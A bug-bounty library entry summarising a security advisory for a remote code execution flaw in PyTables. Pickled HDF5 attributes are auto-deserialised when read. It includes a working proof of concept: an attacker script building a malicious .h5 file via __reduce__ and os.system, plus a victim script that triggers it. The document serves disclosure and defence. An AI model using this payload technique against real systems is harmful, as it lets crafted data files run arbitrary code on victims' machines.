# PyTables: Remote code execution via auto-unpickled HDF5 attributes

PyTables auto-unpickles HDF5 attributes matching a bytes-ending-in-dot heuristic, so opening a malicious .h5 and reading one attribute executes attacker code.

- Payout: Research
- Severity: critical
- Program: PyTables
- Found by: YuuLuo
- Disclosed: 2026-11-30
- CVE: CVE-2026-134019
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-3r7g-mq96-7hhc
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-3r7g-mq96-7hhc
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:critical tech:python technique:source-review vuln:deserialization vuln:rce

**Target:** HDF5 file attributes read via PyTables AttributeSet (also pandas.read_hdf)
**Root cause:** AttributeSet.maybe_pickled treats any numpy.bytes_ attribute ending in b'.' as a pickle and calls pickle.loads on it with no allowlist or safe unpickler, reached from __getattr__/__getitem__.
**Steps:**
1. Craft malicious.h5 with `f.root._v_attrs.description = Exploit()` where `Exploit.__reduce__` returns `(os.system, ("touch " + path,))`
2. Open the file with stock `tables.open_file("malicious.h5", mode="r")`
3. Read the attribute `f.root._v_attrs.description` to trigger `pickle.loads()`
4. Observe the sentinel file created, confirming code execution
**How found:** Code review of tables/attributeset.py: noticed the maybe_pickled heuristic (np.bytes_ ending in b'.') and pickle.loads calls in the attribute getter path, then built a minimal reduce-based PoC to confirm.
**Exploitation:** Attacker ships a crafted .h5 whose attribute value is a pickle referencing posix.system; victim opening the file and reading any metadata attribute (directly or via pandas.read_hdf) executes the command. Payload is portable, needing no attacker classes on victim side.
**Insight:** Data formats perceived as code-free (.h5, .npy, Parquet) can still deserialize: grep for pickle.loads behind attribute/metadata getters and check for heuristic type sniffing like trailing-byte markers that let attacker-controlled bytes reach the unpickler.

## Proof of concept (copied exactly from the original report)

**Attacker script crafting malicious HDF5 attribute**

```
import sys, os, tables

class Exploit:
    def __reduce__(self):
        return (os.system, ("touch " + sys.argv[1],))

f = tables.open_file("malicious.h5", mode="w")
f.root._v_attrs.description = Exploit()  # pickled into an HDF5 attribute
f.close()
```

**Victim script triggering pickle.loads on attribute read**

```
import tables

f = tables.open_file("malicious.h5", mode="r")
desc = f.root._v_attrs.description  # triggers pickle.loads()
f.close()
```

**Commands demonstrating sentinel file creation**

```
python3 attacker.py "$PWD/SENTINEL"   # no SENTINEL yet
python3 victim.py                     # SENTINEL created => code execution
```

